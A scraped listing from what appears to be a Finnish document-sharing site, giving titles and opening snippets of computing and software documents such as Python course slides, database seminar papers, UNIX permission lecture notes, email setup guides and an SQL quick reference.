Käsikirjan paperiversiota ei enää ylläpidetä ohjeen päivämäärän jälkeen. Viimeisimmät versiot ohjeista löydät ohjelman Help-ruudulta. 2 Käsikirjan paperiversiota ei enää ylläpidetä ohjeen päivämäärän jälkeen. Viimeisimmät versiot ohjeista löydät ohjelman Help-ruudulta. Sisällys 1 Yleistä... 3 1.1 Kirjanpitolain uudistus 2016... 3 Liitetietotosite...

Lisätiedot

VERKKOKÄYTTÄJÄN OPAS. Tulostuslokin tallennus verkkoon. Versio 0 FIN

VERKKOKÄYTTÄJÄN OPAS. Tulostuslokin tallennus verkkoon. Versio 0 FIN VERKKOKÄYTTÄJÄN OPAS Tulostuslokin tallennus verkkoon Versio 0 FIN Oppaassa käytetyt kuvakkeet Tässä käyttöoppaassa käytetään seuraavaa kuvaketta: Vinkki kertoo, miten toimia tietyissä tilanteissa, tai

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 1.4.2009 T-106.1208 Ohjelmoinnin perusteet Y 1.4.2009 1 / 56 Tentti Ensimmäinen tenttimahdollisuus on pe 8.5. klo 13:00 17:00 päärakennuksessa. Tämän jälkeen

Lisätiedot

TIETOKANNAT: MYSQL & POSTGRESQL Seminaarityö

TIETOKANNAT: MYSQL & POSTGRESQL Seminaarityö TIETOKANNAT: MYSQL & POSTGRESQL Seminaarityö Tekijät: Eemeli Honkonen Joni Metsälä Työ palautettu: SISÄLLYSLUETTELO: 1 SEMINAARITYÖN KUVAUS... 3 2 TIETOKANTA... 3 2.1 MITÄ TIETOKANNAT SITTEN OVAT?... 3

Lisätiedot

Ohjelmointikielet ja -paradigmat 5op. Markus Norrena

Ohjelmointikielet ja -paradigmat 5op. Markus Norrena Ohjelmointikielet ja -paradigmat 5op Markus Norrena Ko#tehtävä 4 Viimeistele "alkeellinen kuvagalleria". Käytännössä kaksi sivua Yksi jolla voi ladata kuvia palvelimelle (file upload) Toinen jolla ladattuja

Lisätiedot

Tiedostot. Tiedostot. Tiedostot. Tiedostot. Tiedostot. Tiedostot

Tiedostot. Tiedostot. Tiedostot. Tiedostot. Tiedostot. Tiedostot Tiedosto yhteenkuuluvien tietojen joukko, joka on tavallisesti talletettu pysyväismuistiin muodostuu tietueista, jotka voivat olla keskenään samanlaisia tai vaihdella tyypiltään tiedostot ovat joko tekstitiedostoja

Lisätiedot

Käyttäjienhallintatyökalu

Käyttäjienhallintatyökalu Käyttäjienhallintatyökalu 2 Käyttäjienhallinta-ohje Sisällysluettelo 1 Yleistä Käyttäjienhallintatyökalusta... 3 1.1 Excel-taulukko csv-tiedoston luomisessa...4 2 Käyttäjien luominen... 4 2.1 Käyttäjien

Lisätiedot

Maestro Lappeenranta Mannerheiminkatu Lappeenranta. Maestro Helsinki Huopalahdentie Helsinki

Maestro Lappeenranta Mannerheiminkatu Lappeenranta. Maestro Helsinki Huopalahdentie Helsinki 1 Uusi asiakasyrityksen käyttäjätunnus MaestroNG-järjestelmään 1 Yleistä... 2 2 Perusta käyttäjäryhmät... 2 3 Lisää käyttäjäryhmille oikeudet... 3 Oikeus sivustoon... 3 Oikeus firmaan... 4 Oikeudet sovelluksiin...

Lisätiedot

Luento 3. Timo Savola. 7. huhtikuuta 2006

Luento 3. Timo Savola. 7. huhtikuuta 2006 UNIX-käyttöjärjestelmä Luento 3 Timo Savola 7. huhtikuuta 2006 Osa I Käyttöoikeudet Käyttöoikeudet Monen käyttäjän järjestelmä Prosessit kuuluvat eri käyttäjille Tiedostot kuuluvat

Lisätiedot

Autentikoivan lähtevän postin palvelimen asetukset

Autentikoivan lähtevän postin palvelimen asetukset Autentikoivan lähtevän postin palvelimen asetukset - Avaa Työkalut valikko ja valitse Tilien asetukset - Valitse vasemman reunan lokerosta Lähtevän postin palvelin (SM - Valitse listasta palvelin, jonka

Lisätiedot

AsioEduERP v12 - Tietoturvaparannukset

AsioEduERP v12 - Tietoturvaparannukset AsioEduERP v12 - Tietoturvaparannukset Yhteenveto AsioEduERP v12:n tietoturvaa parantavat uudet ominaisuudet: Salasanakäytäntö Kirjautumisviive Käyttäjien aktiivisuuden seuranta Uloskirjautuminen (myös

Lisätiedot

Sähköposti ja uutisryhmät 4.5.2005

Sähköposti ja uutisryhmät 4.5.2005 Outlook Express Käyttöliittymä Outlook Express on windows käyttöön tarkoitettu sähköpostin ja uutisryhmien luku- ja kirjoitussovellus. Se käynnistyy joko omasta kuvakkeestaan työpöydältä tai Internet Explorer

Lisätiedot

Ohjelmoinnin peruskurssi Y1

Ohjelmoinnin peruskurssi Y1 Ohjelmoinnin peruskurssi Y1 CSE-A1111 30.9.2015 CSE-A1111 Ohjelmoinnin peruskurssi Y1 30.9.2015 1 / 27 Mahdollisuus antaa luentopalautetta Goblinissa vasemmassa reunassa olevassa valikossa on valinta Luentopalaute.

Lisätiedot

Kieliteknologian ATK-ympäristö Toinen luento

Kieliteknologian ATK-ympäristö Toinen luento Kieliteknologian ATK-ympäristö Toinen luento Miikka Silfverberg Nykykielten laitos 12. syyskuuta 2011 Miikka Silfverberg (Helsingin yliopisto) Kieliteknologian ATK-ympäristö: Luento 2 12. syyskuuta 2011

Lisätiedot

K U U L A L A A K E R I LUOTTAMUKSELLINEN 1(6)

K U U L A L A A K E R I LUOTTAMUKSELLINEN 1(6) K U U L A L A A K E R I LUOTTAMUKSELLINEN 1(6) Messto HTTP API Messto HTTP API on sovelluskehittäjiä varten kehitetty helppo tapa toteuttaa tekstiviesti- ja multimediaviestisovelluksia. Rajapinnan avulla

Lisätiedot

Korkeakoulujen prosessipalvelin: mallintajan palvelinohje Versio 0.2

Korkeakoulujen prosessipalvelin: mallintajan palvelinohje Versio 0.2 Korkeakoulujen prosessipalvelin: mallintajan palvelinohje Versio 0.2 Sisällysluettelo Muutoshistoria...3 1 Johdanto...4 2 Palvelimen käyttöön tarvittavat ohjelmat...4 3 Palvelimelle kirjautuminen...4 4

Lisätiedot

Tietokannat. CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi);

Tietokannat. CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi); Tietokannat SQL-peruskomentojen pikaopas CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi); INSERT INTO table VALUES(val1,val2,... ); Lisää tauluun

Lisätiedot

Zeon PDF Driver Trial

Zeon PDF Driver Trial Matlab-harjoitus 2: Kuvaajien piirto, skriptit ja funktiot. Matlabohjelmoinnin perusteita Numeerinen integrointi trapezoidaalimenetelmällä voidaan tehdä komennolla trapz. Esimerkki: Vaimenevan eksponentiaalin

Lisätiedot

1 Visma Econet Pro Arkistointi

1 Visma Econet Pro Arkistointi 1 Visma Econet Pro Arkistointi 1.1 Arkistointiajo Visma Econet Pro:n on lisätty ominaisuus, jolla tietokannassa olevista tiedoista voidaan ajaa arkistointiajo. Arkistointi luo määriteltyyn hakemistoon

Lisätiedot

Hirviö Järjestelmätestauksen testitapaukset ja suoritusloki I1

Hirviö Järjestelmätestauksen testitapaukset ja suoritusloki I1 Hirviö Järjestelmätestauksen testitapaukset ja suoritusloki I1 Jani Heikkinen Jukka Larja Kim Nylund Liia Sarjakoski 30. marraskuuta 2004 1 Sisältö 1 Sisään- ja uloskirjautuminen 3 1.1 Testitapaus F1-TC1................................

Lisätiedot

Proseduurit, funktiot ja herättimet - esimerkkeinä Oracle, SQL Server, MySQL ja OCELOT. Jouni Huotari S2008

Proseduurit, funktiot ja herättimet - esimerkkeinä Oracle, SQL Server, MySQL ja OCELOT. Jouni Huotari S2008 Proseduurit, funktiot ja herättimet - esimerkkeinä Oracle, SQL Server, MySQL ja OCELOT Jouni Huotari S2008 2 Proseduurit Ohjelmamoduuleita, jotka voidaan tallettaa tietokantaan (DBMS:n tietohakemistoon)

Lisätiedot

12. Näppäimistöltä lukeminen 12.1

12. Näppäimistöltä lukeminen 12.1 12. Näppäimistöltä lukeminen 12.1 Sisällys Arvojen lukeminen näppäimistöltä yleisesti. Arvojen lukeminen näppäimistöltä Java-kielessä. In-luokka. Luetun arvon tarkistaminen. Tietovirrat ja ohjausmerkit.

Lisätiedot

HELIA 1 (11) Outi Virkki Tiedonhallinta 4.11.2000

HELIA 1 (11) Outi Virkki Tiedonhallinta 4.11.2000 HELIA 1 (11) Access 1 ACCESS...2 Yleistä...2 Access-tietokanta...3 Perusobjektit...3 Taulu...5 Kysely...7 Lomake...9 Raportti...10 Makro...11 Moduli...11 HELIA 2 (11) ACCESS Yleistä Relaatiotietokantatyyppinen

Lisätiedot

Tentti erilaiset kysymystyypit

Tentti erilaiset kysymystyypit Tentti erilaiset kysymystyypit Monivalinta Monivalintatehtävässä opiskelija valitsee vastauksen valmiiden vastausvaihtoehtojen joukosta. Tehtävään voi olla yksi tai useampi oikea vastaus. Varmista, että

Lisätiedot